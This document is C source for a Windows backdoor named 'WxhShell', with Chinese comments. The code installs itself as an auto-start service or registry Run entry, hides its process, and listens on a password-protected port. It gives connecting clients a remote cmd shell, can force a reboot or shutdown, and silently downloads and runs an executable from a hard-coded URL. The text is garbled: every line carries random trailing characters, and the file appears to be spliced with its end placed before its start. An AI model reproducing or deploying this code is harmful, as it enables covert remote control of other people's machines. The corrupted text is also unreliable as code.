    if(Boot(SHUTDOWN)) #gi0FXL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -W wFUm  
    else { < i*v  
    closesocket(wsh); "JAYTatO7H  
    ExitThread(0); /HgdTyR)  
    } Adgh:'h  
    break; 33|>u+  
    } E#r6e+e1Q%  
  // 获取shell %TdZ_  
  case 's': { MVz=:2)J2  
    CmdShell(wsh); MhNzmI&`  
    closesocket(wsh); %5RY Ea  
    ExitThread(0); Bv \ihUg/  
    break; ,K .P,z~*  
  } Ojq>4=Z\  
  // 退出 uQWJ7Xm  
  case 'x': { vG O-a2Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y8`4K*58%  
    CloseIt(wsh); B:)9hF?o@  
    break; fLL_{o0T  
    } {<iIL3\mC  
  // 离开 :j9{n ,F  
  case 'q': { |Y"q. n77  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5b3Wt7  
    closesocket(wsh); <~t38|Ff@  
    WSACleanup(); H1rge<  
    exit(1); z$oA6qB)  
    break; z:bxnM2\  
        } F"VNz^6laV  
  } /J`8Gk59  
  } 5#s?rA%u  
f:\jPkf'  
  // 提示信息 &Qy_= -]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /8@JWK^I{  
} MBRRzq%F  
  } 5i7,s  
"0 \U>h  
  return; 4%~$A`7  
} w|gtb~oh  
AJ[g~ s't  
// shell模块句柄 mZ3i#a4  
int CmdShell(SOCKET sock) 6c>t|=Ss(  
{ S{{D G  
STARTUPINFO si; vE7L> 7  
ZeroMemory(&si,sizeof(si)); BbUZ,X*Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ }>1$kH;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XWZ *{/u  
PROCESS_INFORMATION ProcessInfo; "2(lgxhj  
char cmdline[]="cmd"; ym:^Y-^iV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G*uy@s:  
  return 0; e*jt(p[Ge  
} LF* 7;a  
Kf2*|ZHj  
// 自身启动模式 dQ@ e+u5  
int StartFromService(void) Dg%zNi2GS  
{ 1uz9zhG><  
typedef struct G*2bYsnhX  
{ 0DhF3]  
  DWORD ExitStatus; A;m)/@  
  DWORD PebBaseAddress; ViQxO UE  
  DWORD AffinityMask; 7lY&/-V  
  DWORD BasePriority; kc^ Q ?-?  
  ULONG UniqueProcessId; ,,S5 8\x  
  ULONG InheritedFromUniqueProcessId; 'W usEME  
}   PROCESS_BASIC_INFORMATION; sh[Yu  
&^FCp'J-  
PROCNTQSIP NtQueryInformationProcess; iq-n(Rfw~  
2-j+-B|i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,.uu/qV}w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RzQ1Wq  
o)Kx:l +f  
  HANDLE             hProcess; \ F#mwl,>"  
  PROCESS_BASIC_INFORMATION pbi; Q\&FuU  
.9+"rK}u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k-xh-&  
  if(NULL == hInst ) return 0; RoSh|$JF  
o1YX^-<[F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1s8v E f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5t#+UR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); su/l'p'  
)Y}t~ Zfx  
  if (!NtQueryInformationProcess) return 0; Gp'rN}i^  
:,%~rR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >Jt,TMMlt  
  if(!hProcess) return 0; 6|wi Zw  
/1ooOq]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >'wl)j$  
S Y>i@s+ML  
  CloseHandle(hProcess); 4]A2Jl E  
|8PUmax  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `Gzukh  
if(hProcess==NULL) return 0; ))|Wm}  
\.2?951}  
HMODULE hMod; F7gipCc1We  
char procName[255]; t%ye :  
unsigned long cbNeeded; vg"y$%  
c<L^ 1,G2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {[hH: \  
*Uie{^p?  
  CloseHandle(hProcess); <:0649ZB  
U:m[* }+<  
if(strstr(procName,"services")) return 1; // 以服务启动 :TJv<NZi'  
`}#(Ze*V:  
  return 0; // 注册表启动 ]3wg-p+  
} K)~ m{  
vBx*bZ  
// 主模块 JO\Tf."a\  
int StartWxhshell(LPSTR lpCmdLine) n3t1'_/TU}  
{ h 1G`z  
  SOCKET wsl; $'*@g1v Y  
BOOL val=TRUE; EQ'iyXhEe  
  int port=0; .^j #gE&B  
  struct sockaddr_in door; Pf;'eOdp  
jnsV'@v8Nj  
  if(wscfg.ws_autoins) Install(); vJVL%,7  
@y3w_;P  
port=atoi(lpCmdLine); =fG c?PQ  
5n! V^ !  
if(port<=0) port=wscfg.ws_port; 3US}('  
S%<RV6{aiM  
  WSADATA data; \.y|=Ql_u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IJ2]2FI  
tp<uN~rTgh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $ r)+7i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); azR<Y_tw  
  door.sin_family = AF_INET; u[9i>7}9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MEMD8:['  
  door.sin_port = htons(port); ps=jGh[  
{.pR$]6B"+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pV{MW#e  
closesocket(wsl); %5 V!Fdb  
return 1; ['ol]ZJ  
} $Nvt:X_  
y E-H-r~I  
  if(listen(wsl,2) == INVALID_SOCKET) { 8Kt_irD  
closesocket(wsl); ^IGutZov  
return 1; cZI )lX  
} opxVxjTT#  
  Wxhshell(wsl); R}njFQvS)  
  WSACleanup(); QLrFAV  
Wc [@,  
return 0; a)=WDRk  
T`KH7y|bv  
} YYU Di@K  
<jE6ye(R  
// 以NT服务方式启动 BoZ])Y6=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RFd.L@-]  
{ ,g2|8>sJP  
DWORD   status = 0; Z3?,r[   
  DWORD   specificError = 0xfffffff; V{@ xhW0  
Z_Jprp{3h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =xcA4"k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "@U9'rKx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yzr>]"o  
  serviceStatus.dwWin32ExitCode     = 0; |3{DlZ2S  
  serviceStatus.dwServiceSpecificExitCode = 0; zJJ KLr;  
  serviceStatus.dwCheckPoint       = 0; P5/K?I~/So  
  serviceStatus.dwWaitHint       = 0; 7sKN`  
$s<,xY 9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #A<|&#hh  
  if (hServiceStatusHandle==0) return; HPl!r0 h  
WqP>cl2Lm  
status = GetLastError(); Y)^qF)v,d  
  if (status!=NO_ERROR) RNGTSz  
{ WGjT06a\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l<5O\?Vo]  
    serviceStatus.dwCheckPoint       = 0; %Z~, F?  
    serviceStatus.dwWaitHint       = 0; cnr&%-  
    serviceStatus.dwWin32ExitCode     = status; +shT}$cb1  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;@p2s'(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OrP-+eg  
    return; sW!pMkd_  
  } 4q#6.E;yy  
6Ug( J$Ouh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s\QhCS  
  serviceStatus.dwCheckPoint       = 0; RK?b/9y  
  serviceStatus.dwWaitHint       = 0; %^s;{aN*!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aiVd^(  
} q<` YJ,  
TxAT ))  
// 处理NT服务事件,比如:启动、停止 &os9K)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9 2_F8y*D  
{ Kn3qq  
switch(fdwControl) {N1Ss|6  
{ wuE]ju<  
case SERVICE_CONTROL_STOP: fy04/_,q  
  serviceStatus.dwWin32ExitCode = 0; ,ButNB v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `$oGgz6ZT  
  serviceStatus.dwCheckPoint   = 0; l'=H,8LfA  
  serviceStatus.dwWaitHint     = 0; , f9V`Pz)  
  { wy6>^_z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9,|{N(N<!  
  } ?95^&4Oh0  
  return; kG_ K&,;@  
case SERVICE_CONTROL_PAUSE: gX<"-,5jc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |_L\^T|6  
  break; !xmvCH=2  
case SERVICE_CONTROL_CONTINUE: WccTR aq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3a PCi>i!_  
  break; tWR>I$O8F  
case SERVICE_CONTROL_INTERROGATE: 3 EH/6  
  break; tdSy&]P  
}; H_)\:gTG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m[ *)sm  
}  jL8[;*^G  
nIdB,  
// 标准应用程序主函数 V5sH:A7GJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ixF '-  
{ +F3@-A  
(t'hWS  
// 获取操作系统版本 ,jJ&x7ra8  
OsIsNt=GetOsVer(); ?"f\"N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q<(yNqMKP  
[uCW8:e  
  // 从命令行安装 O="# yE)  
  if(strpbrk(lpCmdLine,"iI")) Install(); i5wXT  
+U/+iI>0  
  // 下载执行文件 %!%G\nv  
if(wscfg.ws_downexe) { \GYh"5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T0BFit6  
  WinExec(wscfg.ws_filenam,SW_HIDE); [kwVxaI  
} ,!+>/RlJ  
-w nlJi1f  
if(!OsIsNt) { <#AS[Q[N  
// 如果时win9x,隐藏进程并且设置为注册表启动 =9$hZ c  
HideProc(); $g&,$7}O_  
StartWxhshell(lpCmdLine); !G E-5\*  
} I;iJa@HWQ  
else SrGX4  
  if(StartFromService()) P2_UQ  
  // 以服务方式启动 {n9]ej^  
  StartServiceCtrlDispatcher(DispatchTable); SXX6EIJr|  
else /V@~Vlww  
  // 普通方式启动 Ny|2Fcs  
  StartWxhshell(lpCmdLine); ,ErJUv  
u1K;{>4lx  
return 0; EIZSV>  
} sLiKcR8^  
',GWH:B  
y<r7_ysi  
iaXpe]w$n  
=========================================== MT{7I"  
d*3;6ZLy  
ZL[~[  
{2wfv2hQ  
fNb2>1  
heQ<%NIA"  
" {p J{UJKv?  
ioxs x>e<  
#include <stdio.h> gBM6{48GF  
#include <string.h> RC(fhqV  
#include <windows.h> L3[r7 b  
#include <winsock2.h> [/_M!&zz2  
#include <winsvc.h> H^y%Bi&^  
#include <urlmon.h> ;/gH6Z?  
!ceT>i90h  
#pragma comment (lib, "Ws2_32.lib") 5Y<O  
#pragma comment (lib, "urlmon.lib") Hc.r/  
pzcV[E1  
#define MAX_USER   100 // 最大客户端连接数 L ;5R*)t  
#define BUF_SOCK   200 // sock buffer q{D_p[q  
#define KEY_BUFF   255 // 输入 buffer b0W~*s [4  
)Los\6PRn  
#define REBOOT     0   // 重启 r|!w,>.  
#define SHUTDOWN   1   // 关机 9MfBsp}c  
E?%SOU<  
#define DEF_PORT   5000 // 监听端口 .xJW=G{/  
951"0S`Lo  
#define REG_LEN     16   // 注册表键长度 cRYnQ{$'  
#define SVC_LEN     80   // NT服务名长度 CBaU$`5  
>q+o MrU  
// 从dll定义API &k'J5YHm8H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >y&Db  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f-6hcd@Ca  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E`vCYhf{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nNuv 0  
Ay?;0w0  
// wxhshell配置信息 T}DP35dBzE  
struct WSCFG { T)%34gN  
  int ws_port;         // 监听端口 9 Yv;Dom  
  char ws_passstr[REG_LEN]; // 口令 uJ:'<dJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no @C[]o.r  
  char ws_regname[REG_LEN]; // 注册表键名 Y1 e>P  
  char ws_svcname[REG_LEN]; // 服务名 !uaV6K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6ww4ZH?j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k.Tu#7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .hI3Uv8[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z?o1 6o-:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r$3{1HXc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O'tVZ!C#J  
#i$/qk= N  
}; R7~H}>uaF  
E]G#"EV!Y  
// default Wxhshell configuration ?UD2}D[M  
struct WSCFG wscfg={DEF_PORT, cEkf9:_La  
    "xuhuanlingzhe", qs\ O(K8  
    1, A2Je*Gz  
    "Wxhshell", 29:1crzx~  
    "Wxhshell", `fw:   
            "WxhShell Service", )b<-=VR  
    "Wrsky Windows CmdShell Service", z [xi  
    "Please Input Your Password: ", QwaCaYoh  
  1, o`B,Pt5vu  
  "http://www.wrsky.com/wxhshell.exe", ;dXQB>Za  
  "Wxhshell.exe" r{DR$jD  
    }; 8m? 9?OV5  
eK_Q>;k5A  
// 消息定义模块 QWt ?` h=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :U^!N8i"=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y\e,#y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]Z/<H P$#  
char *msg_ws_ext="\n\rExit."; 5nq0#0O c  
char *msg_ws_end="\n\rQuit."; AvW2)+6G  
char *msg_ws_boot="\n\rReboot..."; 0bY}<x(;  
char *msg_ws_poff="\n\rShutdown..."; HsA4NRF'7  
char *msg_ws_down="\n\rSave to "; u\~dsD2)q  
r;3{%S._  
char *msg_ws_err="\n\rErr!"; @^g/`{j>J  
char *msg_ws_ok="\n\rOK!"; Jw%0t'0Zi  
#BA=?7  
char ExeFile[MAX_PATH]; bMT1(edm  
int nUser = 0; (1.E9+MquU  
HANDLE handles[MAX_USER]; 2&*r1NXBE  
int OsIsNt; |\g=ua+h  
4] c.mDo[T  
SERVICE_STATUS       serviceStatus; =-#>NlB$w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D{h sa  
T;6 VI|\  
// 函数声明 p(EV-^  
int Install(void); )vH6N_  
int Uninstall(void); PoyY}Ra  
int DownloadFile(char *sURL, SOCKET wsh); " P A:  
int Boot(int flag); b21c} rI3  
void HideProc(void); aAHx^X^  
int GetOsVer(void); W,</  
int Wxhshell(SOCKET wsl); 9f ,$JjX[  
void TalkWithClient(void *cs); 2=H3yEJq  
int CmdShell(SOCKET sock); H,r>@Y  
int StartFromService(void); w+ZeVZv!r  
int StartWxhshell(LPSTR lpCmdLine); CA2 ,  
sflH{!;p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0fgt2gA33  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [%U(l<  
21Z}Zj  
// 数据结构和表定义 HWe?vz$4"  
SERVICE_TABLE_ENTRY DispatchTable[] = !acm@"Ea  
{ BR1oE3in  
{wscfg.ws_svcname, NTServiceMain}, l{U-$}  
{NULL, NULL} 9b`J2_ ]k  
}; U=_O*n?N-d  
XA`<*QC<  
// 自我安装 =rBNEd  
int Install(void) ByR%2_6&  
{ 20[_eu)  
  char svExeFile[MAX_PATH]; :S Tj <  
  HKEY key; B+:'Ld](  
  strcpy(svExeFile,ExeFile); 1EvAV,v"  
V=!tZ[4z$h  
// 如果是win9x系统,修改注册表设为自启动 'J+dTs ;0  
if(!OsIsNt) { B j!{JcM-^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?)=A[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g~FA:R  
  RegCloseKey(key); ya7/&Z )0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g70B22!y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <^j,jX  
  RegCloseKey(key); ]IQTf5n  
  return 0; B%HG7  
    } 8BnI0l=\  
  } jkd'2  
} ^8S'=Bk  
else { n(-1vN  
UEeD Nl$^u  
// 如果是NT以上系统,安装为系统服务 3nVdws  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 96fzSZS,  
if (schSCManager!=0) LfD7 0r\  
{ YXCfP~i  
  SC_HANDLE schService = CreateService Y\!* c=@k  
  ( =,B44:`r  
  schSCManager, gC-3ghmgS  
  wscfg.ws_svcname, 6onFf* m!x  
  wscfg.ws_svcdisp, b/N+X}VMN  
  SERVICE_ALL_ACCESS, 'F[m,[T%x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %";bgU2Q  
  SERVICE_AUTO_START, >"qnuv G  
  SERVICE_ERROR_NORMAL, R +H0+omj  
  svExeFile, <uXZ*E  
  NULL, ,v;P@RL|g  
  NULL, 6 /8?:  
  NULL, E? > ERO3  
  NULL, W7 9wz\a  
  NULL 7hPiPv  
  ); w i,}sEoM  
  if (schService!=0) yyZV/ x~  
  { $ZSjq  
  CloseServiceHandle(schService); [[(29|`]  
  CloseServiceHandle(schSCManager); T%kr&XsQX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tuzw% =Ey  
  strcat(svExeFile,wscfg.ws_svcname); rwb7>]UI"d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u~Zx9>f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $q`650&S*  
  RegCloseKey(key); E"p;  
  return 0; 9&R. <I  
    } gkDyWZG B  
  } Ogp Zwwk  
  CloseServiceHandle(schSCManager); if6/ +7  
} ;c1ar)G7  
} <=;#I_E#E  
4L(/Z}(  
return 1; (=n{LMa  
} C*A!`Q?1Y  
Y%AVC9(  
// 自我卸载 &S/@i|_  
int Uninstall(void) ?kfLOJQ:I  
{ QXTl'.SfF  
  HKEY key; 8]U;2H/z  
GAK!qLy9  
if(!OsIsNt) { nM*-Dy3ou  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  /="~Jo  
  RegDeleteValue(key,wscfg.ws_regname); .(T*mk*>  
  RegCloseKey(key); #l kv&.)x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IbFS8 *a\  
  RegDeleteValue(key,wscfg.ws_regname); JQCQpn/  
  RegCloseKey(key); H+UA  
  return 0; &jJj6 +P\  
  } $j? zEz  
} ~gz_4gzb  
} @VlDi1  
else { (~ 6oA f  
!g=2U`j^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I<p- o/TP  
if (schSCManager!=0) Z(F`M;1>xI  
{ JHN{vB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XcfvmlBoD-  
  if (schService!=0) !zc?o?~z  
  { ~I'1\1  
  if(DeleteService(schService)!=0) { < {1'cx  
  CloseServiceHandle(schService); 9F[k;Uw  
  CloseServiceHandle(schSCManager); ^Ec);Z  
  return 0; bb@@QzR  
  } [I*zZ`  
  CloseServiceHandle(schService); ifyWhS++  
  } O}Y& @V%4k  
  CloseServiceHandle(schSCManager); `_`\jd@  
} {G _ :#cep  
} m0*bz5  
wjLtLtK?  
return 1; Tw^b!74gq  
} IGKF&s*;{[  
[T|_J$ ;  
// 从指定url下载文件 RM/q\100  
int DownloadFile(char *sURL, SOCKET wsh) AUZ^XiK  
{ ~.-o*  
  HRESULT hr; @)"= b!q=  
char seps[]= "/"; vwA d6Tm  
char *token; TGUlJLT  
char *file; S6~&g|T,  
char myURL[MAX_PATH]; OsQB` D  
char myFILE[MAX_PATH]; X@:[.eI~  
v/NkG;NWM  
strcpy(myURL,sURL); >93I|C|  
  token=strtok(myURL,seps); X8l|^ [2F  
  while(token!=NULL) Rn(6Fk?   
  { r$7zk<01  
    file=token; 1DzI@c~X  
  token=strtok(NULL,seps); -M{.KqyW  
  } mU d['Z  
?]1_ 2\M  
GetCurrentDirectory(MAX_PATH,myFILE); (e,5 b  
strcat(myFILE, "\\"); <d&9`e1Hc  
strcat(myFILE, file); B !>hHQ2  
  send(wsh,myFILE,strlen(myFILE),0); /*v} .fH%  
send(wsh,"...",3,0); ",9QqgY+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M`1pze_A  
  if(hr==S_OK) t@hE}R  
return 0; B4 XN  
else ?H7YmN  
return 1; JerueF;J  
((Jiv=%  
} >m66j2(H*Z  
_ML`Vh]  
// 系统电源模块 @Kl'0>U  
int Boot(int flag) uH"W07  
{ YfB8  
  HANDLE hToken; QC/%|M0 {  
  TOKEN_PRIVILEGES tkp; > St]MS  
\piHdVD  
  if(OsIsNt) { ,\2w+L5TD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J 'qhY'te  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )I/K-zj  
    tkp.PrivilegeCount = 1; \%=GM J^[p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y5oC|v7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B<et&r;  
if(flag==REBOOT) { P LHiQ:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I=vGS  
  return 0; o8Q+hZB}A  
} Zndv!z  
else { g`NJ `  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ms * `w5n  
  return 0; !:zWhu,  
} i'6>_,\(  
  } 9/LnO'&-  
  else { -FxE!K  
if(flag==REBOOT) { JZc"4qf@OT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R:[IH2F s  
  return 0; KUR9vo  
} c)5d-3"  
else { R WfC2$z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \DDR l{  
  return 0; p|q}z/  
} @)i A V1r"  
} ()[j<KX{.  
:3oLGiL   
return 1; f&ZFG>)6  
} .+.BNS   
xD|/98  
// win9x进程隐藏模块 ,p3moD 3  
void HideProc(void) cz{5-;$9Z  
{ TmH'_t.*T~  
y,YK Mc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i,3[0*ge  
  if ( hKernel != NULL ) J/-&Fa\(  
  { Zo12F**{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2Pa Rbh{"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :\Pk>a  
    FreeLibrary(hKernel); 8D)I~0\  
  } 62YT)/i3  
q-k~L\Ys  
return; rzk]{W  
} udld[f.  
px7<;(I  
// 获取操作系统版本 4fuK pLA  
int GetOsVer(void) 7UVhyrl  
{ #<4/ *< 5  
  OSVERSIONINFO winfo; < .\2 Ec  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z]\CI:  
  GetVersionEx(&winfo); q.GA\o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #0F6{&; M  
  return 1;  o(q][:,h  
  else li`4&<WGC  
  return 0; 3Mlwq'pzD  
} vwc)d{ND  
7y/Pch  
// 客户端句柄模块 o 5;V=8T;  
int Wxhshell(SOCKET wsl) [0lu&ak[&  
{ @/DHfs4O  
  SOCKET wsh; Q+r8qnL'  
  struct sockaddr_in client; p3f>;|uh_  
  DWORD myID; d^.@~  
kN'.e*  
  while(nUser<MAX_USER) KcW]"K>p!  
{ r6x"D3  
  int nSize=sizeof(client); Z'@a@Y+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l7p*: :(9  
  if(wsh==INVALID_SOCKET) return 1; !(&N{NH9  
v[}g+3a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \/ 9s<  
if(handles[nUser]==0) s?}m~Pl  
  closesocket(wsh); sz?/4tY  
else ~?BN4ptc  
  nUser++; yn;sd+:z  
  } !.^%*6f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~"t33U6  
faqh }4  
  return 0; (:TZ~"VY  
} QnJ(C]cW  
'x{E#4A  
// 关闭 socket *pZhwO !D  
void CloseIt(SOCKET wsh) kv)IG$S 0  
{ <z2*T \B!8  
closesocket(wsh); # $dk  
nUser--; MU-T>S4  
ExitThread(0); HAHLF+k  
} j)vfI>  
1~|o@CO  
// 客户端请求句柄 8}A+{xVp8  
void TalkWithClient(void *cs) J8>8@m6  
{ FFvF4]|L  
QL{^  
  SOCKET wsh=(SOCKET)cs; BB)( #yoi  
  char pwd[SVC_LEN]; |Qa[N(  
  char cmd[KEY_BUFF]; <q dM  
char chr[1]; FVw4BUOmi  
int i,j; :v(fgS2\  
=Ll:Ba Q  
  while (nUser < MAX_USER) { ]a ,H!0i  
VuiK5?m  
if(wscfg.ws_passstr) { `62iW3y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yH:gFEJ:x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QsN%a>t  
  //ZeroMemory(pwd,KEY_BUFF); ov@N13 ,$  
      i=0; Sj`GP p  
  while(i<SVC_LEN) { ;n"Nv }<C  
$7~T+fmF  
  // 设置超时 3EHn}#+U  
  fd_set FdRead; c8"9Lv  
  struct timeval TimeOut; 7: cmBkXm  
  FD_ZERO(&FdRead); th 9I]g^=t  
  FD_SET(wsh,&FdRead); g`69 0  
  TimeOut.tv_sec=8; Y#A0ud,  
  TimeOut.tv_usec=0; P*\h)F/3}t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z_tK3kQa@&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #K[UqJ+x  
|;[%ZE"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5VXI/Lw#  
  pwd=chr[0]; 2VY.#9vl  
  if(chr[0]==0xd || chr[0]==0xa) { `RriVYc<  
  pwd=0; zt23on2  
  break; <691pk X  
  } 6n  
  i++; R54wNm @  
    }  Q9!T@  
~53uUT|B  
  // 如果是非法用户,关闭 socket y!,Ly_x$@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O6gl[aZN  
} tzKIi_2  
@+,J^[ y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h>A~..  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Lo\[K >j  
X`n)]~  
while(1) { v"po}K  
Ew9\Y R}  
  ZeroMemory(cmd,KEY_BUFF); <EHgPlQn  
P m Zb!|  
      // 自动支持客户端 telnet标准   YKk*QcAn  
  j=0; VPAi[<FzOG  
  while(j<KEY_BUFF) { z3\WcW7|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <x^Ab#K"  
  cmd[j]=chr[0]; , Ac gsC  
  if(chr[0]==0xa || chr[0]==0xd) { )nI}KQJ<  
  cmd[j]=0; W>*9T?  
  break; 1F*3K3T {  
  } "; PW#VHC  
  j++; .*3.47O  
    } }K8W%h<3S  
Wvg+5Q  
  // 下载文件 }ob&d.XZ  
  if(strstr(cmd,"http://")) { .w .`1 g   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S*5hO) C  
  if(DownloadFile(cmd,wsh)) bJ$6[H-:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oXQzCjX_   
  else R'#1|eWCa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sFvu@Wm'7W  
  } C }= *%S  
  else { )Td;2  
